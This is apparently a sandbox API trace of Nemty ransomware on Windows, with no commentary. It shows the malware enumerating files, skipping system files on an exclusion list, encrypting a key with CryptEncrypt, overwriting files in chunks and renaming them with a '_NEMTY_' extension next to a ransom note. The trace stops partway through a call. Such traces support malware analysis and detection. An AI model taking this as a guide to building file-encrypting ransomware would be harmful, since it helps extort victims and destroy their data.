[0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340198 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.173] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe97ad90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xe97ad90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe97ad90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0153.173] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0153.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0153.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.174] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aadd637, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="15.png", cAlternateFileName="")) returned 1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2=".") returned 1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="..") returned 1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="...") returned 1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="windows") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="$RECYCLE.BIN") returned 1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="rsa") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="NTDETECT.COM") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="ntldr") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="MSDOS.SYS") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="IO.SYS") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="boot.ini") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="boot.ini") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="ntuser.dat") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="desktop.ini") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="CONFIG.SYS") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="RECYCLER") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="BOOTSECT.BAK") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="bootmgr") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="programdata") returned -1 [0153.174] lstrcmpiW (lpString1="15.png", lpString2="appdata") returned -1 [0153.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15.png", lpUsedDefaultChar=0x0) returned 6 [0153.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15.png", lpUsedDefaultChar=0x0) returned 6 [0153.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15.png", lpUsedDefaultChar=0x0) returned 6 [0153.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15.png", lpUsedDefaultChar=0x0) returned 6 [0153.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.175] Sleep (dwMilliseconds=0x5) [0153.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xef48330, dwHighDateTime=0x1d561e8)) [0153.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xef48330, dwHighDateTime=0x1d561e8)) [0153.190] GetLastError () returned 0x12 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.190] GetLastError () returned 0x12 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.190] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.190] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="6iqyxfJWDJ8hSZwG1TEf4xaqLgu8G+ubFjYWVsP79T/y+YS7KMvVCsL4Erbhhtu2\r\nP7mBGWkKw/KBz8L8ukF+PwvQecnESPaBjNW9xNnzQljg8IGGPga/l1N5Qf95uYxu\r\nsCK0MYU4Q7WBeyZ/9mJozFAn+i5iQR80UMo6MsHL6phMRvePsvEKtEaPzsmxELBb\r\nWc6z8SFCdzCatifrGUKFNQZKswqGbohvjSWYEtFYBgq2FtexhCmuVXUyShHUH0Zm\r\nA3YLtSHJwYZgfOHTYJMQJSe9I9fHNhqKjM5zC+qeBgWmdlRXBrohCaoMn/lDj3Ds\r\nKgh64BwnUwC8ebv9mWUmjg==\r\n", pcchString=0x653e91c) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.190] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.191] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.301] CloseHandle (hObject=0xffffffff) returned 0 [0153.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\15.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\15.png._nemty_kgobjgd_")) returned 0 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.302] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="16.png", cAlternateFileName="")) returned 1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2=".") returned 1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="..") returned 1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="...") returned 1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="windows") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="$RECYCLE.BIN") returned 1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="rsa") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="NTDETECT.COM") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="ntldr") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="MSDOS.SYS") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="IO.SYS") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="boot.ini") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="boot.ini") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="ntuser.dat") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="desktop.ini") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="CONFIG.SYS") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="RECYCLER") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="BOOTSECT.BAK") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="bootmgr") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="programdata") returned -1 [0153.302] lstrcmpiW (lpString1="16.png", lpString2="appdata") returned -1 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: 